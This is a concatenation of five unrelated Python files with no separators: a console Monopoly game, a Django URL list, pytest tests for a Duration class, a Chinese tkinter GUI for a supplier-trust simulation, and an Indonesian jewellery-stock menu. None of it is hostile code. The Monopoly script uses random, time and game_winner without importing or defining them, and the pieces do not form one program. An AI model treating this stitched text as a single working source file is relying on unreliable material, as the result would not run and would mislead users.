landmarks = {1: 'Start', 2: 'Old Kent Road', 3: 'Community Chest', 4: 'Whitechapel Road', 5: 'Income Tax',
             6: 'Kings Cross Station', 7: 'The Angel Islington', 8: 'Chance', 9: 'Euston Road', 10: 'Pentonville Road',
             11: 'Jail', 12: 'Pall Mall', 13: 'Electric Company', 14: 'Whitehall', 15: 'Northumberland Avenue',
             16: 'Marylebone Station', 17: 'Bow Street', 18: 'Community Chest', 19: 'Marlborough Street',
             20: 'Vine Street', 21: 'Free Parking', 22: 'Strand', 23: 'Chance', 24: 'Fleet Street',
             25: 'Trafalgar Square', 26: 'Fenchurch Street Station', 27: 'Leicester Square', 28: 'Coventry Street',
             29: 'Water Works', 30: 'Piccadilly', 31: 'Go To Jail', 32: 'Regent Street', 33: 'Oxford Street',
             34: 'Community Chest', 35: 'Bond Street', 36: 'Liverpool Street Station', 37: 'Chance', 38: 'Park Lane',
             39: 'Super Tax', 40: 'Mayfair'}
cost = {2: 60, 3: 0, 4: 60, 5: 200, 6: 200, 7: 100, 8: 0, 9: 100, 10: 120, 11: 0, 12: 140, 13: 150, 14: 140, 15: 160,
        16: 200, 17: 180, 18: 0, 19: 180, 20: 200, 21: 0, 22: 220, 23: 0, 24: 220, 25: 240, 26: 200, 27: 260, 28: 260,
        29: 150, 30: 280, 31: 0, 32: 300, 33: 300, 34: 0, 35: 320, 36: 200, 37: 0, 38: 350, 39: 350, 40: 400}
purchasable = [2, 4, 7, 9, 10, 12, 14, 15, 17, 19, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36, 38, 40]
traps = [5, 39, 31]
owned = []
p1 = [1500, 1]
p1_property = []
p2 = [1500, 1]
p2_property = []

def dice():
    return random.randint(1, 6)

def cpu():
    if p2[0] <= 60:
        global game_winner
        game_winner = 1
        return 'CPU has gone bankrupt, You win'
    print('CPU is rolling the dice...')
    time.sleep(1)
    x = dice()
    p2[1] += x
    print(f'CPU rolled a {x}')
    if p2[1] > 40:
        p2[1] -= 40
        p2[0] += 200
    if p2[1] in traps:
        if p2[1] == 5:
            p2[0] -= 200
            return 'CPU has been hit by the Income Tax'
        elif p2[1] == 39:
            p2[0] -= 400
            return 'CPU has been hit by the Super Tax'
        elif p2[1] == 31:
            p2[1] = 11
            return 'CPU has been sent to Jail'
    elif p2[1] in purchasable:
        print(f'CPU has landed on {landmarks[p2[1]]} and it costs ${cost[p2[1]]}')
        if p2[0] >= cost[p2[1]]:
            print('CPU is contemplating on getting the property')
            contem = random.randint(1, 2)
            if contem == 1:
                print('CPU has decided to buy the property')
                p2[0] -= cost[p2[1]]
                p2_property.append(p2[1])
                purchasable.remove(p2[1])
                owned.append(p2[1])
                return f'CPU now has ${p2[0]}'
            else:
                return 'CPU has decided not to buy the property'
        else:
            return 'CPU does not have enough money to buy the property'
    elif p2[1] in owned:
        if p2[1] in p1_property:
            print(f'CPU has landed on {landmarks[p2[1]]} which is owned by you')
            print('CPU is paying rent')
            p2[0] -= cost[p2[1]]
            p1[0] += cost[p2[1]]
            return f'CPU now has ${p2[0]}'
    else:
        print(f'CPU has landed on {landmarks[p2[1]]}')
        return 'CPU has done nothing'

def player1():
    if p1[0] <= 60:
        global game_winner
        game_winner = 1
        return 'You have gone bankrupt, Opponent wins'
    print('You are rolling the dice...')
    time.sleep(1)
    x = dice()
    p1[1] += x
    print(f'You rolled a {x}')
    if p1[1] > 40:
        p1[1] -= 40
        p1[0] += 200
    if p1[1] in traps:
        if p1[1] == 5:
            p1[0] -= 200
            return 'You have been hit by the Income Tax'
        elif p1[1] == 39:
            p1[0] -= 400
            return 'You have been hit by the Super Tax'
        elif p1[1] == 31:
            p1[1] = 11
            return 'You have been sent to Jail'
    elif p1[1] in purchasable:
        print(f'You have landed on {landmarks[p1[1]]} and it costs ${cost[p1[1]]}')
        if p1[0] >= cost[p1[1]]:
            print('You are contemplating on getting the property')
            contem = int(input('Do you want to buy the property? (1)Yes (2)No: '))
            if contem == 1:
                print('You have decided to buy the property')
                p1[0] -= cost[p1[1]]
                p1_property.append(p1[1])
                purchasable.remove(p1[1])
                owned.append(p1[1])
                return f'You now have ${p1[0]}'
            else:
                return 'You have decided not to buy the property'
        else:
            return 'You do not have enough money to buy the property'
    elif p1[1] in owned:
        if p1[1] in p2_property:
            print(f'You have landed on {landmarks[p1[1]]} which is owned by your opponent')
            print('You are paying rent')
            p1[0] -= cost[p1[1]]
            p2[0] += cost[p1[1]]
            return f'You now have ${p1[0]}'
    else:
        print(f'You have landed on {landmarks[p1[1]]}')
        return 'You have done nothing'

def player2():
    if p2[0] <= 60:
        global game_winner
        game_winner = 1
        return 'Player 2 has gone bankrupt, Player 1 wins'
    print('Player 2 is rolling the dice...')
    time.sleep(1)
    x = dice()
    p2[1] += x
    print(f'Player 2 rolled a {x}')
    if p2[1] > 40:
        p2[1] -= 40
        p2[0] += 200
    if p2[1] in traps:
        if p2[1] == 5:
            p2[0] -= 200
            return 'Player 2 has been hit by the Income Tax'
        elif p2[1] == 39:
            p2[0] -= 400
            return 'Player 2 has been hit by the Super Tax'
        elif p2[1] == 31:
            p2[1] = 11
            return 'Player 2 has been sent to Jail'
    elif p2[1] in purchasable:
        print(f'Player 2 has landed on {landmarks[p2[1]]} and it costs ${cost[p2[1]]}')
        if p2[0] >= cost[p2[1]]:
            print('Player 2 is contemplating on getting the property')
            contem = int(input('Do you want to buy the property? (1)Yes (2)No: '))
            if contem == 1:
                print('Player 2 has decided to buy the property')
                p2[0] -= cost[p2[1]]
                p2_property.append(p2[1])
                purchasable.remove(p2[1])
                owned.append(p2[1])
                return f'Player 2 now has ${p2[0]}'
            else:
                return 'Player 2 has decided not to buy the property'
        else:
            return 'Player 2 does not have enough money to buy the property'
    elif p2[1] in owned:
        if p2[1] in p1_property:
            print(f'Player 2 has landed on {landmarks[p2[1]]} which is owned by Player 1')
            print('Player 2 is paying rent')
            p2[0] -= cost[p2[1]]
            p1[0] += cost[p2[1]]
            return f'Player 2 now has ${p2[0]}'
    else:
        print(f'Player 2 has landed on {landmarks[p2[1]]}')
        return 'Player 2 has done nothing'

def choiice(x):
    if x == 1:
        print('You have chosen to play against the CPU')
        turns = int(
            input('How many turns do you want to play for? [If you want an infinite number of turns Enter 0]: '))
        if turns == 0:
            while game_winner == 0:
                print(player1())
                time.sleep(2)
                print(cpu())
        else:
            for i in range(turns):
                if game_winner == 1:
                    break
                print(player1())
                time.sleep(2)
                print(cpu())
            if len(p1_property) == len(p2_property):
                print('It is a tie')
            elif len(p2_property) > len(p1_property):
                print('CPU wins')
            else:
                print('You win')
    elif x == 2:
        print('You have chosen to play against another player')
        turns = int(
            input('How many turns do you want to play for? [If you want an infinite number of turns Enter 0]: '))
        if turns == 0:
            while game_winner == 0:
                print(player1())
                time.sleep(2)
                print(player2())
        else:
            for i in range(turns):
                if game_winner == 1:
                    break
                print(player1())
                time.sleep(2)
                print(player2())
            if len(p1_property) == len(p2_property):
                print('It is a tie')
            elif len(p2_property) > len(p1_property):
                print('Player 2 wins')
            else:
                print('Player 1 wins')

print('Welcome to Monopoly [2P]')
print('Do you want to play against the (1)CPU or (2)Another player?')
choice = int(input('Enter your choice: '))
if choice == 1:
    choiice(1)
elif choice == 2:
    choiice(2)


from django.conf.urls import url
from . import views

urlpatterns = [
    url(r'^$', views.news_list, name='news_list'),
    url(r'home/', views.home, name='home'),
    url(r'payinfo/', views.payinfo, name='payinfo'),
    url(r'directorate/', views.directorate, name='directorate'),
    url(r'new_indications/', views.new_indications, name='new_indications'),
    url(r'snt/', views.snt, name='snt'),
]


# SPDX-License-Identifier: MIT

# flake8: noqa: E201

import collections
import datetime

import pytest

from fnattr.util.duration import Duration
from fnattr.util.pytestutil import it2p

def dhmsn(d: int | float = 0,
          h: int | float = 0,
          m: int | float = 0,
          s: int | float = 0,
          n: int = 0) -> int:
    return int(n + 1_000_000_000 * (s + 60 * (m + 60 * (h + 24 * d))))

def dns(**kwargs) -> int:
    u = {
        'days': 'd',
        'hours': 'h',
        'minutes': 'm',
        'seconds': 's',
        'nanoseconds': 'ns',
    }
    d = collections.defaultdict(int)
    for k, v in kwargs.items():
        d[u[k] if k in u else k] = v
    return dhmsn(d['d'], d['h'], d['m'], d['s'], d['ns'])

def test_duration_to_nanoseconds():
    d = Duration(nanoseconds=183_845_000_000_006)
    assert d.to_nanoseconds() == 183_845_000_000_006

def test_duration_to_seconds():
    d = Duration(nanoseconds=183_845_000_000_006)
    assert d.to_seconds() == 183_845.000_000_006

def test_duration_to_dhmsn():
    d = Duration(nanoseconds=183_845_000_000_006)
    assert d.to_dhmsn() == (2, 3, 4, 5, 6)

def test_duration_to_timedelta():
    d = Duration(nanoseconds=183_845_000_006_000)
    assert d.to_timedelta() == datetime.timedelta(
        days=2, hours=3, minutes=4, seconds=5, microseconds=6)

def test_duration_float():
    d = Duration(days=1.5, hours=1.5, minutes=1.5, seconds=1.5)
    assert d.to_seconds() == 135091.5

def test_duration_eq():
    d = Duration(days=1.5, hours=1.5, minutes=1.5, seconds=1.5)
    e = Duration(days=1.5, hours=1.5, minutes=1.5, seconds=1.5)
    assert d is not e
    assert d == e

def test_duration_eq_int():
    ns = 1234567890
    d = Duration(nanoseconds=ns)
    assert d == ns

def test_duration_ne():
    d = Duration(days=1.5, hours=1.5, minutes=1.5, seconds=1.5)
    e = Duration(days=1.5, hours=1.5, minutes=1.5, seconds=1.6)
    assert d != e

def test_duration_ne_type():
    d = Duration()
    assert d != Duration

def test_duration_from_timedelta():
    us = 345678912
    d = Duration.from_timedelta(datetime.timedelta(microseconds=us))
    assert d.to_nanoseconds() == 1000 * us

# fmt: off
STR_CASES = [
    ('ns',                   'string',                'fmt'                 ),
    ( dhmsn(2, 3, 4, 5, 6),  '2:03:04:05.000000006',  '2d03h04m05s000000006'),
    ( dhmsn(2, 3, 4, 5.78),  '2:03:04:05.780',        '2d03h04m05s780'      ),
    ( dhmsn(2, 3, 4, 5, 0),  '2:03:04:05',            '2d03h04m05s'         ),
    ( dns(d=2, h=3, m=4),    '2:03:04:00',            '2d03h04m00s'         ),
    ( dns(h=2, m=10, s=40.5),   '2:10:40.500',           '2h10m40s500'      ),
    ( dns(m=14, s=0.6789),        '14:00.678900',          '14m00s678900'   ),
    ( dns(m=7, s=20),              '7:20',                  '7m20s'         ),
    ( dns(s=12, ns=345678912),       '12.345678912',          '12s345678912'),
    ( dns(s=2, ns=345678912),         '2.345678912',           '2s345678912'),
    ( dns(s=1),                       '1',                     '1s'         ),
    ( dns(),                          '0',                     '0s'         ),
    (-dhmsn(2, 3, 4, 5, 6), '-2:03:04:05.000000006', '-2d03h04m05s000000006'),
    (-dns(s=2, ns=345678912),        '-2.345678912',          '-2s345678912'),
]
# fmt: on

@pytest.mark.parametrize(*it2p(STR_CASES, ('ns', 'string')))
def test_duration_str(ns, string):
    assert str(Duration(nanoseconds=ns)) == string

@pytest.mark.parametrize(*it2p(STR_CASES, ('ns', 'fmt')))
def test_duration_fmt(ns, fmt):
    d = Duration(nanoseconds=ns)
    assert d.fmt() == fmt

# fmt: off
PARSE_CASES = [
    ('string',                  'ns'),
    ('123 days 5′ 10.3″',       dns(d=123, m=5, s=10.3)),
    ('1:23:45:57.39',           dns(d=1, h=23, m=45, s=57.39)),
    ('99',                      dns(s=99)),
    ('99:59',                   dns(m=99, s=59)),
    ('99:59.99',                dns(m=99, s=59.99)),
    ('99:59:59.999',            dns(h=99, m=59, s=59.999)),
    ('99:23:59:59.999',         dns(d=99, h=23, m=59, s=59.999)),
    ('123 Hours 5:10.3',        dns(h=123, m=5, s=10.3)),
    ('123 hours 10.25',         dns(h=123, m=10.25)),
    ('123 hours 99s1024',       dns(h=123, s=99, ns=102_400_000)),
    ('1d 23 59 59',             dns(d=1, h=23, m=59, s=59)),
    ('1 23H 59 59',             dns(d=1, h=23, m=59, s=59)),
    ('1d 23 59 59s',            dns(d=1, h=23, m=59, s=59)),
    (' 1 day 14 µs ',           dns(d=1, ns=14000)),
]
# fmt: on

@pytest.mark.parametrize(*it2p(PARSE_CASES))
def test_duration_parse(string, ns):
    assert Duration.parse(string).to_nanoseconds() == ns

# fmt: off
BAD_PARSE_CASES = [
    ('string',                  'match'),
    ('',                        'not a number'),
    ('bad',                     'not a number'),
    ('1:23:45:57:39',           'too many'),
    ('1:23:45.2:57',            'decimal'),
    ('24:60',                   'seconds'),
    ('24:60:21.5',              'minutes'),
    ('01:25:59:59.9',           'hours'),
    ('12s34.56',                'ambiguous'),
    ('12ns34',                  'ambiguous'),
    ('12s 34 56',               'too many'),
    ('12 34d',                  'no units larger'),
    ('12 mikkrosekkundz',       'not a unit'),
    ('5 7us',                   'ambiguous'),
]
# fmt: on

@pytest.mark.parametrize(*it2p(BAD_PARSE_CASES))
def test_duration_parse_error(string, match):
    with pytest.raises(ValueError, match=match):
        _ = Duration.parse(string)


import tkinter as tk
from tkinter import ttk
import playingGame as pg
import tkinter.messagebox

class Window():
	"""
	管理窗口的类
	"""
	def __init__(self, settings, center, suppliers, manufacturers):
		self.settings = settings
		self.center = center
		self.suppliers = suppliers
		self.manufacturers = manufacturers
		self.root = tk.Tk()
		self.logo = tk.PhotoImage(file="image/logo1.png")
		# 两个调参子窗口
		self.confirm = None
		self.para = None

		# 参数变量
		# 1.全局参数
		self.globalvar = self.getGlobal()
		# 2.企业参数
		self.firmvar = self.getParameters()
		# 为了让后面修改的参数可追踪，需要设置文本框的量
		self.Textbox = None
		self.initWindow()

	# 初始化最开始的窗口
	def initWindow(self):
		# 基本设置
		self.root.title("信任显示机制仿真研究平台")
		self.root.geometry("900x600")
		self.root.resizable(0, 0)

		# logo
		logo_label = tk.Label(self.root, image=self.logo)
		logo_label.place(x=10,y=10)
		# 实验背景部分
		bg_label = tk.Label(self.root, text="实验背景", font=("黑体",24))
		bg_label.place(x=350, y=115)
		bg_text = "为研究在产业联盟下各企业成员之间的信誉度，将使用本平台进行仿真研究"
		bg_text_label = tk.Label(self.root, text = bg_text, font=("仿宋",15), wraplength=800)
		bg_text_label.place(x =30,y=160)

		# 调整参数部分
		alterParamter = tk.Button(self.root, text="调整参数", font=("黑体",24), command=self.confirmWindow)
		alterParamter.place(x=340,y=240)
		ap_text = f"    在某个产业联盟中，共有{self.settings.totolEnterprise}个参与者，其中{self.settings.supplierNum}个供应商，{self.settings.manufactureNum}个制造商，该系统将会进行20次模拟决策过程，"+\
				f"并且将各企业的信誉度进行动态的展示，一些基本的参数为：在企业为诚信类型的前提下遵守承诺的概率为{self.settings.obeyWhileHonest}，在企业为"+\
			f"投机类型的前提下遵守承诺的概率为{self.settings.obeyWhileSpeculate}，更多的参数细节请点击调整参数"
		ap_text_label = tk.Label(self.root, text=ap_text, font=("仿宋",15), wraplength=800, justify="left", pady=10)
		ap_text_label.place(x=30,y=300)

		# 开始实验按钮
		startRun = tk.Button(self.root, text="开始实验", font=("黑体",24), command=self.startCycle)
		startRun.place(x=250,y=450)
		# 重置按钮
		reset = tk.Button(self.root, text="重置", font=("黑体",24), command=self.resetPlayer)
		reset.place(x=500,y=450)
		# 版权提示
		copyright = tk.Label(self.root, text="Copyright © 2019 战狼传说. All rights reserved.", font=("宋体",14))
		copyright.place(x=20,y=570)

	def startCycle(self):
		"""
		点击开始运行按钮之后的处理
		开始循环
		弹出提示完成窗口
		"""
		pg.startPlaying(self.settings,self.center,self.suppliers,self.manufacturers)
		tk.messagebox.showinfo(title="模拟完成",message=f"成功完成了所有参与者的{self.settings.cycleNum}次博弈！")

	def resetPlayer(self):
		"""
		点击重置按钮之后
		相当于重新生成了这些对象
		"""
		self.settings,self.center,self.suppliers,self.manufacturers = pg.initParticipant()
		tk.messagebox.showinfo(title="重置成功",message="已经重置成功")

	def confirmWindow(self):
		"""
		确认弹框
		"""
		self.confirm = tk.Toplevel()
		self.confirm.title("请确认")
		self.confirm.geometry("400x200")
		t1 = "本次实验无法修改参与者数量，固定由2个供应商和2个制造商组成产业联盟"
		l1 = tk.Label(self.confirm, text=t1, wraplength=360, font=("宋体",18))
		l1.place(x=10,y=20)
		l2 = tk.Label(self.confirm, text="进一步修改参数点击确定，关闭该窗口点击返回", font=("仿宋",12))
		l2.place(x=20,y=115)
		queding = tk.Button(self.confirm, text="继续", font=("黑体",18), command=self.parameterWindow)
		queding.place(x=100,y=140)
		fanhui = tk.Button(self.confirm,text="返回", font=("黑体", 18), command=self.confirmBack)
		fanhui.place(x=220,y=140)

	def confirmBack(self):
		"""
		点击确认窗口的返回按钮
		"""
		self.confirm.destroy()

	def parameterWindow(self):
		"""
		详细修改参数的弹框
		"""
		# 将前面的确认窗口关闭
		self.confirm.destroy()

		# 每次创建参数调整面板都需要重新初始化文本框列表
		self.Textbox = []
		# 创建参数调整面板并进行初始化
		self.para = tk.Toplevel()
		self.para.title("参数调整面板")
		self.para.geometry("660x440")
		font1=("黑体",20)
		font2=("中宋",16)

		# 全局参数frame
		f1 = tk.Frame(self.para, width=500, height=150)
		f1.place(x=10,y=10)
		self.globalvar = self.getGlobal()
		l1 = tk.Label(f1, text="全局参数", font=font1)			# 全局参数标签
		l1.place(x=10,y=10)
		l2 = tk.Label(f1, text="P(遵守|诚信型)：", font=font2)	# P(遵守|诚信型)标签
		l2.place(x=120,y=50)
		p1 = tk.Entry(f1, width=30, font=font2)					# P(遵守|诚信型)文本框p1
		p1.insert(tk.END, str(self.globalvar[0]))
		p1.place(x=300,y=50)
		l3 = tk.Label(f1, text="P(遵守|投机型)：", font=font2)	# P(遵守|投机型)标签
		l3.place(x=120,y=80)
		p2 = tk.Entry(f1, width=30, font=font2)					# P(遵守|投机型)文本框p2
		p2.insert(tk.END, str(self.globalvar[1]))
		p2.place(x=300,y=80)
		l4 = tk.Label(f1, text="博弈期数：", font=font2)
		l4.place(x=185,y=110)
		p3 = tk.Entry(f1, width=30, font=font2)
		p3.insert(tk.END, str(self.globalvar[2]))
		p3.place(x=300,y=110)
		self.Textbox.append([p1,p2,p3])

		# 企业参数frame
		f2 = tk.Frame(self.para, width=600, height=250)
		f2.place(x=10,y=150)
		l5 = tk.Label(f2, text="企业参数", font=font1)
		l5.place(x=10,y=20)
		l6 = tk.Label(f2, text="企业类型", font=font2)
		l6.place(x=130,y=60)
		l7 = tk.Label(f2, text="决策临界点", font=font2)
		l7.place(x=240,y=60)
		l8 = tk.Label(f2, text="成本下限", font=font2)
		l8.place(x=360,y=60)
		l9 = tk.Label(f2, text="成本上限", font=font2)
		l9.place(x=460,y=60)
		l10 = tk.Label(f2, text="供应商1", font=font2)
		l10.place(x=30,y=90)
		l11 = tk.Label(f2, text="供应商2", font=font2)
		l11.place(x=30,y=120)
		l12 = tk.Label(f2, text="制造商1", font=font2)
		l12.place(x=30,y=150)
		l13 = tk.Label(f2, text="制造商2", font=font2)
		l13.place(x=30,y=180)

		# 将这些做成一个一个列表，产生批量的文本框
		self.firmvar = self.getParameters()	# 获取所有企业参数的列表
		entryList = []
		for i in range(self.settings.totolEnterprise):
			e = []
			for j in range(self.settings.totolEnterprise):
				entry = tk.Entry(f2, width=8, font=font2)
				entry.insert(tk.END, self.firmvar[i][j])
				e.append(entry)
			entryList.append(e)
		self.Textbox.append(entryList)
		for i in range(4):
			for j in range(4):
				entryList[i][j].place(x=130+110*j,y=90+30*i)

		# 加一个确认按钮
		confirmUpdate = tk.Button(self.para, text="确认修改", font=("黑体",14), command=self.updatePara)
		confirmUpdate.place(x=300,y=375)

	def getGlobal(self):
		"""
		获取能够修改的全局变量参数
		"""
		g = []
		g.append(self.settings.obeyWhileHonest)
		g.append(self.settings.obeyWhileSpeculate)
		g.append(self.settings.cycleNum)
		return g
	def getParameters(self):
		"""
		获取各参与方的参数
		"""
		ps = []		# 所有参与者参数列表
		for i in range(self.settings.supplierNum):
			p = []		# 某个参与者的参数列表
			ort = "诚信型" if self.suppliers[i].orientation==0 else "投机型"
			p.append(ort)
			p.append(self.suppliers[i].breakPoint)
			p.append(self.suppliers[i].lCost)
			p.append(self.suppliers[i].hCost)
			ps.append(p)
		for i in range(self.settings.manufactureNum):
			p=[]
			ort = "诚信型" if self.manufacturers[i].orientation==0 else "投机型"
			p.append(ort)
			p.append(self.manufacturers[i].breakPoint)
			p.append(self.manufacturers[i].lCost)
			p.append(self.manufacturers[i].hCost)
			ps.append(p)
		return ps

	def updatePara(self):
		"""
		点击确认修改按钮后的处理
		1. 获取当前文本框的值
		2. 将现在的值更新到参与方以及全局参数变量中
		3. 关闭参数修改面板
		"""
		# 获取当前文本框的值并修改
		for i in range(len(self.Textbox)):
			if i==0:
				# 全局变量
				self.settings.obeyWhileHonest = float(self.Textbox[0][0].get())
				self.settings.obeyWhileSpeculate = float(self.Textbox[0][1].get())
				self.settings.cycleNum = int(self.Textbox[0][2].get())
			if i==1:
				# 参与者变量
				for j in range(4):
					if j<2:
						# 供应商
						ort = 0 if self.Textbox[1][j][0].get()=="诚信型" else 1
						self.suppliers[j].orientation = ort
						self.suppliers[j].breakPoint = float(self.Textbox[1][j][1].get())
						self.suppliers[j].lCost = float(self.Textbox[1][j][2].get())
						self.suppliers[j].hCost = float(self.Textbox[1][j][3].get())
					else:
						# 制造商
						ort = 0 if self.Textbox[1][j][0].get()=="诚信型" else 1
						self.manufacturers[j-2].orientation = ort
						self.manufacturers[j-2].breakPoint = float(self.Textbox[1][j][1].get())
						self.manufacturers[j-2].lCost = float(self.Textbox[1][j][2].get())
						self.manufacturers[j-2].hCost = float(self.Textbox[1][j][3].get())

		# 关闭参数修改面板
		self.para.destroy()

	def execute(self):
		"""
		执行窗口循环
		"""
		self.root.mainloop()


stokgudang = {'kalung':15, 'gelang':10, 'cincin':20}

def tampilkan_stok():
    while True:
        print('''
        \t TAMPILKAN STOK GUDANG\n
        1 - Tampilkan seluruh stok gudang
        2 - Tampilkan stok item tertentu
        3 - Kembali ke menu utama
        ''')
        input_menu = int(input('Masukkan nomor menu ... '))
        if input_menu == 1:
            print('''
            \t   DAFTAR STOK GUDANG PERHIASAN\n
            \tITEM\t\tQUANTITY
            ''')
            for key, val in stokgudang.items():
                print('''\t\t{}\t\t{}'''.format(key.capitalize(), val))
            continue
        elif input_menu == 2:
            input_item = input('Masukkan nama item yang dicari ... ').lower()
            if input_item in stokgudang:
                print('''
                ITEM\t\tQUANTITY
                ''')
                print('''\t\t{}\t\t{}\n'''.format(input_item.capitalize(), stokgudang[input_item]))
                continue
            else:
                print('Item tidak ditemukan.')
                continue
        elif input_menu == 3:
            menu_utama()
        else:
            print('Menu tidak ditemukan.')
            continue

def tambah_stok():
    while True:
        print('''
        \tTAMBAH DATA STOK\n
        1 - Tambah data stok
        2 - Kembali ke menu utama
        ''')
        input_menu = int(input('Masukkan nomor menu ... '))
        if input_menu == 1:
            input_item = input('Masukkan nama item yang ingin ditambahkan ... ').lower()
            if input_item in stokgudang:
                print('Data sudah ada.')
                continue
            else:
                input_qty = int(input('Masukkan quantity item ... '))
                stokgudang[input_item] = input_qty
                print('Item sudah tersimpan.')
                continue
        elif input_menu == 2:
            menu_utama()
        else:
            print('Menu tidak ditemukan.')
            continue

def update_stok():
    while True:
        print('''
        \tUPDATE DATA STOK\n
        1 - Update data stok
        2 - Kembali ke menu utama
        ''')
        input_menu = int(input('Masukkan nomor menu ... '))
        if input_menu == 1:
            input_item = input('Masukkan nama item yang ingin di-update ... ').lower()
            if input_item in stokgudang:
                input_qty = int(input('Masukkan quantity item yang baru ... '))
                stokgudang[input_item] = input_qty
                print('Data {} berhasil di-update.'.format(input_item))
            else:
                print('Item tidak ditemukan.')
                continue
        elif input_menu == 2:
            menu_utama()
        else:
            print('Menu tidak ditemukan.')
            continue

def hapus_stok():
    while True:
        print('''
        \tHAPUS DATA STOK\n
        1 - Hapus data stok
        2 - Kembali ke menu utama
        ''')
        input_menu = int(input('Masukkan nomor menu ... '))
        if input_menu == 1:
            input_item = input('Masukkan nama item yang ingin dihapus ... ').lower()
            if input_item in stokgudang:
                input_hapus = (input('''Yakin ingin menghapus data {}? [Y]es/[N]o '''.format(input_item))).upper()
                if input_hapus == 'Y':
                    del stokgudang[input_item]
                    print('Data {} berhasil dihapus.'.format(input_item))
                elif input_hapus == 'N':
                    print('Item gagal dihapus.')
                    continue
                else:
                    print('Input Anda tidak valid.')
                    continue
            else:
                print('Item tidak ditemukan.')
                continue
        elif input_menu == 2:
            menu_utama()
        else:
            print('Menu tidak ditemukan.')
            continue

def menu_utama():
    while True:
        print('''
        \tMENU UTAMA STOK GUDANG PERHIASAN\n
        1 - Tampilkan stok gudang
        2 - Tambah data stok
        3 - Update data stok
        4 - Hapus data stok
        5 - Exit
        ''')
        input_menu = int(input('Masukkan nomor menu ... '))
        if input_menu == 1:
            tampilkan_stok()
        elif input_menu == 2:
            tambah_stok()
        elif input_menu == 3:
            update_stok()
        elif input_menu == 4:
            hapus_stok()
        elif input_menu == 5:
            exit()
        else:
            print('Menu tidak ditemukan.')
            continue

print(menu_utama())